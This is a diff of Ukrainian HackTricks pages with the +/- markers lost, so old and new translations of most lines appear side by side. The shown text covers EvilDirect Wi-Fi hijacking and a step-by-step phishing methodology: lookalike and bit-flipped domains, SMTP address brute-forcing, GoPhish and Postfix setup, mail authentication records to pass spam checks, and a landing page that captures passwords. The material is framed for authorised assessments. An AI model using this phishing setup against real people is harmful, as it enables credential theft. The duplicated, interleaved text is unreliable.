**Перехоплення EvilDirect** - це атака, специфічна для Wi-Fi Direct. Вона відображає концепцію атаки Evil Twin, але спрямована на з'єднання Wi-Fi Direct. У цьому сценарії атакуючий видає себе за законного власника групи з метою обману пристроїв і підключення до зловмисної сутності. Цей метод можна виконати за допомогою інструментів, таких як `airbase-ng`, вказавши канал, ESSID та MAC-адресу підробленого пристрою:
### EvilDirect Hijacking
## Посилання
**EvilDirect Hijacking** - це атака, специфічна для Wi-Fi Direct. Вона відображає концепцію атаки Evil Twin, але націлюється на з'єднання Wi-Fi Direct. У цьому сценарії зловмисник видає себе за законного власника групи з метою обманути пристрої, щоб вони підключилися до шкідливого об'єкта. Цей метод можна виконати за допомогою інструментів, таких як `airbase-ng`, вказавши канал, ESSID та MAC-адресу підробленого пристрою:
## References
* [https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee](https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee)
* [https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9](https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9)
@ -742,33 +727,34 @@ Eaphammer реалізував цю атаку як атаку MANA, де всі
* [https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\))
* [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/)
TODO: Перегляньте [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (вхід за допомогою Facebook та імітація WPA на порталах з ловушками)
TODO: Ознайомтеся з [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (вхід через facebook та імітація WPA в захоплених порталах)
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
Приєднуйтесь до [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), щоб спілкуватися з досвідченими хакерами та мисливцями за багами!
Приєднуйтесь до [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) сервера, щоб спілкуватися з досвідченими хакерами та шукачами багів!
**Інсайти щодо Хакінгу**\
Взаємодійте з контентом, який досліджує захоплення та виклики хакінгу
**Hacking Insights**\
Залучайтеся до контенту, який занурює у захоплення та виклики хакерства
**Новини про Хакінг у Реальному Часі**\
Будьте в курсі швидкозмінного світу хакінгу завдяки новинам та інсайтам у реальному часі
**Real-Time Hack News**\
Слідкуйте за швидкоплинним світом хакерства через новини та інсайти в реальному часі
**Останні Оголошення**\
Будьте в курсі найновіших баг-баунті, які запускаються, та важливих оновлень платформи
**Latest Announcements**\
Будьте в курсі нових програм винагород за баги та важливих оновлень платформ
Приєднуйтесь до нас на [**Discord**](https://discord.com/invite/N3FrSbmwdy) та почніть співпрацювати з найкращими хакерами вже сьогодні!
**Приєднуйтесь до нас на** [**Discord**](https://discord.com/invite/N3FrSbmwdy) і почніть співпрацювати з провідними хакерами вже сьогодні!
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити **рекламу вашої компанії на HackTricks** або **завантажити HackTricks у PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Дізнайтеся про [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github репозиторіїв.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,78 +1,79 @@
# Методологія рибалки
# Phishing Methodology
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити вашу **компанію в рекламі на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Дізнайтеся про [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Методологія
1. Розвідка жертви
1. Виберіть **домен жертви**.
2. Виконайте деяку базову веб-енумерацію, **шукаючи портали входу**, використовані жертвою, та **вирішіть**, який саме ви будете **імітувати**.
3. Використовуйте деякі **OSINT**, щоб **знайти електронні адреси**.
2. Виконайте базову веб-інвентаризацію **в пошуках порталів для входу**, які використовує жертва, і **вирішіть**, який з них ви будете **імітувати**.
3. Використовуйте деякі **OSINT** для **пошуку електронних адрес**.
2. Підготуйте середовище
1. **Купіть домен**, який ви будете використовувати для оцінки рибальства
2. Налаштуйте записи, пов'язані з електронною поштою (SPF, DMARC, DKIM, rDNS)
3. Налаштуйте VPS з **gophish**
1. **Купіть домен**, який ви будете використовувати для фішингової оцінки.
2. **Налаштуйте записи** служби електронної пошти (SPF, DMARC, DKIM, rDNS).
3. Налаштуйте VPS з **gophish**.
3. Підготуйте кампанію
1. Підготуйте **шаблон електронного листа**
2. Підготуйте **веб-сторінку** для крадіжки облікових даних
1. Підготуйте **шаблон електронної пошти**.
2. Підготуйте **веб-сторінку** для крадіжки облікових даних.
4. Запустіть кампанію!
## Генерація схожих доменних імен або купівля довіреного домену
## Генерація подібних доменних імен або купівля надійного домену
### Техніки варіації доменних імен
* **Ключове слово**: Доменне ім'я **містить важливе ключове слово** оригінального домену (наприклад, zelster.com-management.com).
* **Піддомен з дефісом**: Змініть **крапку на дефіс** піддомену (наприклад, www-zelster.com).
* **Новий TLD**: Те ж саме доменне ім'я з використанням **нового TLD** (наприклад, zelster.org)
* **Гомогліф**: Воно **замінює** літеру в доменному імені на **літери, які схожі** (наприклад, zelfser.com).
* **Транспозиція**: Воно **обмінює дві літери** в межах доменного імені (наприклад, zelsetr.com).
* **Однини/Множини**: Додає або видаляє "s" в кінці доменного імені (наприклад, zeltsers.com).
* **Пропуск**: Воно **видаляє одну** з літер з доменного імені (наприклад, zelser.com).
* **Повторення**: Воно **повторює одну** з літер в доменному імені (наприклад, zeltsser.com).
* **Заміна**: Подібно до гомогліфа, але менш приховано. Воно замінює одну з літер в доменному імені, можливо, літерою, що знаходиться поруч з оригінальною літерою на клавіатурі (наприклад, zektser.com).
* **Піддоменоване**: Введіть **крапку** всередині доменного імені (наприклад, ze.lster.com).
* **Вставка**: Воно **вставляє літеру** в доменне ім'я (наприклад, zerltser.com).
* **Відсутність крапки**: Додайте TLD до доменного імені. (наприклад, zelstercom.com)
* **Ключове слово**: Доменне ім'я **містить** важливе **ключове слово** оригінального домену (наприклад, zelster.com-management.com).
* **гіпеніруваний піддомен**: Змініть **крапку на дефіс** піддомену (наприклад, www-zelster.com).
* **Новий TLD**: Той самий домен з використанням **нового TLD** (наприклад, zelster.org).
* **Гомогліф**: Він **замінює** літеру в доменному імені на **літери, які виглядають подібно** (наприклад, zelfser.com).
* **Транспозиція:** Він **міняє місцями дві літери** в доменному імені (наприклад, zelsetr.com).
* **Сингуларизація/Плюралізація**: Додає або видаляє “s” в кінці доменного імені (наприклад, zeltsers.com).
* **Виключення**: Він **видаляє одну** з літер з доменного імені (наприклад, zelser.com).
* **Повторення:** Він **повторює одну** з літер у доменному імені (наприклад, zeltsser.com).
* **Замінювання**: Як гомогліф, але менш приховано. Він замінює одну з літер у доменному імені, можливо, на літеру, що знаходиться поруч з оригінальною літерою на клавіатурі (наприклад, zektser.com).
* **Піддомен**: Введіть **крапку** всередині доменного імені (наприклад, ze.lster.com).
* **Вставка**: Він **вставляє літеру** в доменне ім'я (наприклад, zerltser.com).
* **Відсутня крапка**: Додайте TLD до доменного імені. (наприклад, zelstercom.com)
**Автоматичні Інструменти**
**Автоматичні інструменти**
* [**dnstwist**](https://github.com/elceef/dnstwist)
* [**urlcrazy**](https://github.com/urbanadventurer/urlcrazy)
**Веб-сайти**
**Вебсайти**
* [https://dnstwist.it/](https://dnstwist.it)
* [https://dnstwister.report/](https://dnstwister.report)
* [https://www.internetmarketingninjas.com/tools/free-tools/domain-typo-generator/](https://www.internetmarketingninjas.com/tools/free-tools/domain-typo-generator/)
### Бітовий перевертень
### Бітфліпінг
Є **можливість того, що один або деякі біти, збережені або в комунікації, можуть автоматично перевертатися** через різні фактори, такі як сонячні вибухи, космічні промені або помилки обладнання.
Існує **можливість, що один з деяких бітів, збережених або в комунікації, може автоматично змінитися** через різні фактори, такі як сонячні спалахи, космічні промені або апаратні помилки.
Коли цей концепт **застосовується до запитів DNS**, можливо, що **домен, отриманий DNS-сервером**, не співпадає з доменом, який спочатку запитано.
Коли цей концепт **застосовується до DNS-запитів**, можливо, що **домен, отриманий DNS-сервером**, не є тим самим доменом, який спочатку запитувався.
Наприклад, зміна одного біту в домені "windows.com" може змінити його на "windnws.com."
Наприклад, одна зміна біта в домені "windows.com" може змінити його на "windnws.com."
Атакувальники можуть **скористатися цим, зареєструвавши кілька доменів з перевертанням бітів**, які схожі на домен жертви. Їхнім наміром є перенаправлення законних користувачів на свою власну інфраструктуру.
Зловмисники можуть **використовувати це, реєструючи кілька доменів з бітфліпінгом**, які схожі на домен жертви. Їх намір - перенаправити легітимних користувачів на свою інфраструктуру.
Для отримання додаткової інформації читайте [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)
### Купівля довіреного домену
### Купівля надійного домену
Ви можете шукати на [https://www.expireddomains.net/](https://www.expireddomains.net) за просроченим доменом, який ви могли б використовувати.\
Щоб переконатися, що просрочений домен, який ви збираєтеся купити, **вже має хороший SEO**, ви можете перевірити, як він категоризований в:
Ви можете шукати на [https://www.expireddomains.net/](https://www.expireddomains.net) за простроченим доменом, який ви могли б використовувати.\
Щоб переконатися, що прострочений домен, який ви збираєтеся купити, **вже має хороший SEO**, ви можете перевірити, як він категоризується в:
* [http://www.fortiguard.com/webfilter](http://www.fortiguard.com/webfilter)
* [https://urlfiltering.paloaltonetworks.com/query/](https://urlfiltering.paloaltonetworks.com/query/)
@ -85,8 +86,8 @@
* [https://hunter.io/](https://hunter.io)
* [https://anymailfinder.com/](https://anymailfinder.com)
Для **виявлення більше** дійсних адрес електронної пошти або **перевірки тих**, які ви вже виявили, ви можете перевірити, чи можете ви зламати їх smtp-сервери жертви. [Дізнайтеся, як перевірити/виявити адресу електронної пошти тут](../../network-services-pentesting/pentesting-smtp/#username-bruteforce-enumeration).\
Крім того, не забувайте, що якщо користувачі використовують **будь-який веб-портал для доступу до своїх листів**, ви можете перевірити, чи він вразливий до **брутфорсу імен користувачів**, та використовувати вразливість, якщо це можливо.
Щоб **виявити більше** дійсних електронних адрес або **перевірити ті, які** ви вже виявили, ви можете перевірити, чи можете ви брутфорсити їх SMTP-сервери жертви. [Дізнайтеся, як перевірити/виявити електронну адресу тут](../../network-services-pentesting/pentesting-smtp/#username-bruteforce-enumeration).\
Крім того, не забувайте, що якщо користувачі використовують **будь-який веб-портал для доступу до своїх електронних листів**, ви можете перевірити, чи він вразливий до **брутфорсу імен користувачів**, і експлуатувати вразливість, якщо це можливо.
## Налаштування GoPhish
@ -94,16 +95,16 @@
Ви можете завантажити його з [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0)
Завантажте й розпакуйте його всередину `/opt/gophish` та виконайте `/opt/gophish/gophish`\
Ви отримаєте пароль для адміністратора на порту 3333 у виведенні. Тому, зверніться до цього порту та використовуйте ці облікові дані для зміни пароля адміністратора. Можливо, вам знадобиться тунель до локального:
Завантажте та розпакуйте його в `/opt/gophish` і виконайте `/opt/gophish/gophish`\
Вам буде надано пароль для адміністратора на порту 3333 виводу. Тому отримайте доступ до цього порту та використовуйте ці облікові дані, щоб змінити пароль адміністратора. Вам, можливо, потрібно буде тунелювати цей порт на локальний:
```bash
ssh -L 3333:127.0.0.1:3333 <user>@<ip>
```
### Налаштування
**Налаштування TLS-сертифіката**
**Налаштування TLS сертифіката**
Перед цим кроком ви повинні **вже купити домен**, який ви збираєтеся використовувати, і він повинен бути **спрямований** на **IP-адресу VPS**, де ви налаштовуєте **gophish**.
Перед цим кроком ви повинні **вже купити домен**, який ви збираєтеся використовувати, і він повинен **вказувати** на **IP VPS**, де ви налаштовуєте **gophish**.
```bash
DOMAIN="<domain>"
wget https://dl.eff.org/certbot-auto
@ -121,7 +122,7 @@ cp "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" /opt/gophish/ssl_keys/key.crt
```
**Налаштування пошти**
Почніть встановлення: `apt-get install postfix`
Почніть установку: `apt-get install postfix`
Потім додайте домен до наступних файлів:
@ -129,23 +130,23 @@ cp "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" /opt/gophish/ssl_keys/key.crt
* **/etc/postfix/transport**
* **/etc/postfix/virtual\_regexp**
**Також змініть значення наступних змінних всередині /etc/postfix/main.cf**
**Також змініть значення наступних змінних у /etc/postfix/main.cf**
`myhostname = <domain>`\
`mydestination = $myhostname, <domain>, localhost.com, localhost`
Нарешті, змініть файли **`/etc/hostname`** та **`/etc/mailname`** на назву вашого домену та **перезапустіть свій VPS.**
Нарешті, змініть файли **`/etc/hostname`** та **`/etc/mailname`** на ваше ім'я домену та **перезавантажте ваш VPS.**
Тепер створіть **DNS A запис** `mail.<domain>`, спрямований на **IP-адресу** VPS та **DNS MX запис**, спрямований на `mail.<domain>`
Тепер створіть **DNS A запис** `mail.<domain>`, що вказує на **ip-адресу** VPS, та **DNS MX** запис, що вказує на `mail.<domain>`
Тепер спробуйте відправити електронного листа:
Тепер давайте протестуємо відправку електронного листа:
```bash
apt install mailutils
echo "This is the body of the email" | mail -s "This is the subject line" test@email.com
```
**Налаштування Gophish**
**Конфігурація Gophish**
Зупиніть виконання gophish та налаштуйте його.\
Зупиніть виконання gophish і давайте налаштуємо його.\
Змініть `/opt/gophish/config.json` на наступне (зверніть увагу на використання https):
```bash
{
@ -171,9 +172,9 @@ echo "This is the body of the email" | mail -s "This is the subject line" test@e
}
}
```
**Налаштування служби gophish**
**Налаштуйте службу gophish**
Для створення служби gophish, щоб вона автоматично запускалася та керувалася як служба, ви можете створити файл `/etc/init.d/gophish` з наступним вмістом:
Щоб створити службу gophish, щоб її можна було запускати автоматично та керувати нею як службою, ви можете створити файл `/etc/init.d/gophish` з таким вмістом:
```bash
#!/bin/bash
# /etc/init.d/gophish
@ -233,58 +234,58 @@ service gophish stop
```
## Налаштування поштового сервера та домену
### Зачекайте та будьте легітними
### Чекайте та будьте легітимними
Чим старший домен, тим менше ймовірно, що його спіймуть як спам. Тому вам слід зачекати якомога більше часу (принаймні 1 тиждень) перед оцінкою рибалки. Крім того, якщо ви розмістите сторінку про репутаційний сектор, отримана репутація буде кращою.
Чим старіший домен, тим менше ймовірно, що його сприймуть як спам. Тому вам слід чекати якомога довше (принаймні 1 тиждень) перед оцінкою фішингу. Більше того, якщо ви створите сторінку про репутаційний сектор, отримана репутація буде кращою.
Зверніть увагу, що навіть якщо вам доведеться зачекати тиждень, ви можете завершити налаштування всього зараз.
Зверніть увагу, що навіть якщо вам потрібно почекати тиждень, ви можете закінчити налаштування всього зараз.
### Налаштування оберненого DNS (rDNS)
### Налаштування зворотного DNS (rDNS) запису
Встановіть запис оберненого DNS (PTR), який розгадує IP-адресу VPS на доменне ім'я.
Встановіть запис rDNS (PTR), який перетворює IP-адресу VPS на доменне ім'я.
### Запис SPF (Sender Policy Framework)
### Запис політики відправника (SPF)
Вам **необхідно налаштувати запис SPF для нового домену**. Якщо ви не знаєте, що таке запис SPF, [**прочитайте цю сторінку**](../../network-services-pentesting/pentesting-smtp/#spf).
Ви повинні **налаштувати запис SPF для нового домену**. Якщо ви не знаєте, що таке запис SPF [**прочитайте цю сторінку**](../../network-services-pentesting/pentesting-smtp/#spf).
Ви можете скористатися [https://www.spfwizard.net/](https://www.spfwizard.net), щоб згенерувати свою політику SPF (використовуйте IP-адресу машини VPS)
Ви можете використовувати [https://www.spfwizard.net/](https://www.spfwizard.net) для генерації вашої SPF політики (використовуйте IP адреса VPS машини)
![](<../../.gitbook/assets/image (388).png>)
![](<../../.gitbook/assets/image (1037).png>)
Це вміст, який повинен бути встановлений у запис TXT всередині домену:
Це вміст, який потрібно встановити в TXT записі всередині домену:
```bash
v=spf1 mx a ip4:ip.ip.ip.ip ?all
```
### Запис про автентифікацію, звітність та відповідність повідомлень на основі домену (DMARC)
### Domain-based Message Authentication, Reporting & Conformance (DMARC) Record
Вам необхідно **налаштувати запис DMARC для нового домену**. Якщо ви не знаєте, що таке запис DMARC, [**прочитайте цю сторінку**](../../network-services-pentesting/pentesting-smtp/#dmarc).
Ви повинні **налаштувати запис DMARC для нового домену**. Якщо ви не знаєте, що таке запис DMARC [**прочитайте цю сторінку**](../../network-services-pentesting/pentesting-smtp/#dmarc).
Вам потрібно створити новий DNS TXT запис, який вказує на ім'я хоста `_dmarc.<домен>` з наступним вмістом:
Вам потрібно створити новий DNS TXT запис, вказуючи ім'я хоста `_dmarc.<domain>` з наступним вмістом:
```bash
v=DMARC1; p=none
```
### DomainKeys Identified Mail (DKIM)
Вам потрібно **налаштувати DKIM для нового домену**. Якщо ви не знаєте, що таке запис DMARC, [**прочитайте цю сторінку**](../../network-services-pentesting/pentesting-smtp/#dkim).
Вам потрібно **налаштувати DKIM для нового домену**. Якщо ви не знаєте, що таке запис DMARC [**прочитайте цю сторінку**](../../network-services-pentesting/pentesting-smtp/#dkim).
Цей підручник базується на: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
Цей посібник оснований на: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
{% hint style="info" %}
Вам потрібно конкатенувати обидва значення B64, які генерує ключ DKIM:
Вам потрібно об'єднати обидва значення B64, які генерує ключ DKIM:
```
v=DKIM1; h=sha256; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0wPibdqPtzYk81njjQCrChIcHzxOp8a1wjbsoNtka2X9QXCZs+iXkvw++QsWDtdYu3q0Ofnr0Yd/TmG/Y2bBGoEgeE+YTUG2aEgw8Xx42NLJq2D1pB2lRQPW4IxefROnXu5HfKSm7dyzML1gZ1U0pR5X4IZCH0wOPhIq326QjxJZm79E1nTh3xj" "Y9N/Dt3+fVnIbMupzXE216TdFuifKM6Tl6O/axNsbswMS1TH812euno8xRpsdXJzFlB9q3VbMkVWig4P538mHolGzudEBg563vv66U8D7uuzGYxYT4WS8NVm3QBMg0QKPWZaKp+bADLkOSB9J2nUpk4Aj9KB5swIDAQAB
```
{% endhint %}
### Перевірте бал електронної пошти вашої конфігурації
### Перевірте свій бал конфігурації електронної пошти
Ви можете зробити це, використовуючи [https://www.mail-tester.com/](https://www.mail-tester.com)\
Просто перейдіть на сторінку і надішліть електронного листа на адресу, яку вони вам вказують:
Просто перейдіть на сторінку та надішліть електронний лист на адресу, яку вони вам нададуть:
```bash
echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com
```
Ви також можете **перевірити конфігурацію своєї електронної пошти**, відправивши листа на `check-auth@verifier.port25.com` та **прочитавши відповідь** (для цього вам потрібно **відкрити** порт **25** та переглянути відповідь у файлі _/var/mail/root_, якщо ви відправляєте листа як root).\
Переконайтеся, що ви пройшли всі тести:
Ви також можете **перевірити свою конфігурацію електронної пошти**, надіславши електронний лист на `check-auth@verifier.port25.com` та **прочитавши відповідь** (для цього вам потрібно буде **відкрити** порт **25** і побачити відповідь у файлі _/var/mail/root_, якщо ви надішлете електронний лист як root).\
Перевірте, чи проходите ви всі тести:
```bash
==========================================================
Summary of Results
@ -295,40 +296,40 @@ DKIM check: pass
Sender-ID check: pass
SpamAssassin check: ham
```
Ви також можете **надіслати повідомлення на Gmail, який перебуває під вашим контролем**, і перевірити **заголовки електронної пошти** у своїй скриньці Gmail, `dkim=pass` повинен бути присутній у полі заголовка `Authentication-Results`.
Ви також можете надіслати **повідомлення на Gmail під вашим контролем** і перевірити **заголовки електронної пошти** у вашій поштовій скриньці Gmail, `dkim=pass` має бути присутнім у полі заголовка `Authentication-Results`.
```
Authentication-Results: mx.google.com;
spf=pass (google.com: domain of contact@example.com designates --- as permitted sender) smtp.mail=contact@example.com;
dkim=pass header.i=@example.com;
```
### Видалення з чорного списку Spamhouse
### Видалення з чорного списку Spamhouse
Сторінка [www.mail-tester.com](www.mail-tester.com) може показати вам, чи ваш домен заблоковано Spamhouse. Ви можете запросити видалення вашого домену/IP за посиланням: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/)
Сторінка [www.mail-tester.com](https://www.mail-tester.com) може показати, чи ваш домен заблоковано Spamhouse. Ви можете запросити видалення вашого домену/IP за адресою: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/)
### Видалення з чорного списку Microsoft
Ви можете запросити видалення вашого домену/IP за посиланням [https://sender.office.com/](https://sender.office.com).
Ви можете запросити видалення вашого домену/IP за адресою [https://sender.office.com/](https://sender.office.com).
## Створення та запуск кампанії GoPhish
### Профіль відправника
* Встановіть **ім'я для ідентифікації** профілю відправника
* Вирішіть, з якого облікового запису ви будете відправляти листи з фішингом. Рекомендації: _noreply, support, servicedesk, salesforce..._
* Ви можете залишити порожніми ім'я користувача та пароль, але переконайтеся, що ви встановили прапорець "Ігнорувати помилки сертифіката"
* Вирішіть, з якого облікового запису ви будете надсилати фішингові електронні листи. Пропозиції: _noreply, support, servicedesk, salesforce..._
* Ви можете залишити порожніми ім'я користувача та пароль, але обов'язково перевірте "Ігнорувати помилки сертифіката"
![](<../../.gitbook/assets/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (17).png>)
![](<../../.gitbook/assets/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>)
{% hint style="info" %}
Рекомендується використовувати функціонал "**Надіслати тестовий лист**", щоб перевірити, що все працює.\
Я рекомендую **надсилати тестові листи на адреси 10min mails**, щоб уникнути потрапляння в чорний список під час тестування.
Рекомендується використовувати функцію "**Надіслати тестовий електронний лист**", щоб перевірити, чи все працює.\
Я б рекомендував **надсилати тестові електронні листи на адреси 10min mails**, щоб уникнути потрапляння до чорного списку під час тестування.
{% endhint %}
### Шаблон електронної пошти
### Шаблон електронного листа
* Встановіть **ім'я для ідентифікації** шаблону
* Потім напишіть **тему** (нічого дивного, просто щось, що ви могли б очікувати прочитати в звичайному листі)
* Переконайтеся, що ви встановили прапорець "**Додати відстежувальне зображення**"
* Потім напишіть **тему** (нічого дивного, просто щось, що ви могли б очікувати прочитати в звичайному електронному листі)
* Переконайтеся, що ви відмітили "**Додати трекінгове зображення**"
* Напишіть **шаблон електронного листа** (ви можете використовувати змінні, як у наступному прикладі):
```markup
<html>
@ -348,68 +349,68 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
</body>
</html>
```
Зауважте, що **для підвищення вірогідності електронної пошти** рекомендується використовувати якусь підпис з електронної пошти клієнта. Рекомендації:
Зверніть увагу, що **для підвищення достовірності електронного листа** рекомендується використовувати підпис з електронного листа клієнта. Пропозиції:
* Надішліть електронного листа на **несуществуючу адресу** і перевірте, чи є у відповіді який-небудь підпис.
* Шукайте **публічні електронні адреси** типу info@ex.com або press@ex.com або public@ex.com та надсилайте їм електронний лист, очікуючи відповіді.
* Спробуйте зв'язатися з **якоюсь валідною виявленою** електронною адресою та зачекайте на відповідь
* Надішліть електронний лист на **неіснуючу адресу** та перевірте, чи є у відповіді підпис.
* Шукайте **публічні електронні адреси** такі як info@ex.com або press@ex.com або public@ex.com і надішліть їм електронний лист, а потім чекайте на відповідь.
* Спробуйте зв'язатися з **якою-небудь дійсною виявленою** електронною адресою та чекайте на відповідь.
![](<../../.gitbook/assets/image (393).png>)
![](<../../.gitbook/assets/image (80).png>)
{% hint style="info" %}
Шаблон електронної пошти також дозволяє **долучати файли для відправки**. Якщо ви також хочете вкрасти виклики NTLM, використовуючи спеціально створені файли/документи, [прочитайте цю сторінку](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md).
Шаблон електронного листа також дозволяє **додавати файли для відправки**. Якщо ви також хочете вкрасти NTLM виклики, використовуючи спеціально підготовлені файли/документи [прочитайте цю сторінку](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md).
{% endhint %}
### Посадова сторінка
### Цільова сторінка
* Напишіть **ім'я**
* **Напишіть HTML-код** веб-сторінки. Зверніть увагу, що ви можете **імпортувати** веб-сторінки.
* Позначте **Захоплення надісланих даних** та **Захоплення паролів**
* **Напишіть HTML код** веб-сторінки. Зверніть увагу, що ви можете **імпортувати** веб-сторінки.
* Позначте **Захопити надіслані дані** та **Захопити паролі**
* Встановіть **перенаправлення**
![](<../../.gitbook/assets/image (394).png>)
![](<../../.gitbook/assets/image (826).png>)
{% hint style="info" %}
Зазвичай вам потрібно буде змінити HTML-код сторінки та провести деякі тести локально (можливо, використовуючи деякий сервер Apache) **доки вам не сподобаються результати**. Потім напишіть цей HTML-код у відповідному полі.\
Зверніть увагу, що якщо вам потрібно **використовувати деякі статичні ресурси** для HTML (можливо, деякі CSS та JS сторінки), ви можете зберегти їх у _**/opt/gophish/static/endpoint**_ та потім отримати до них доступ з _**/static/\<filename>**_
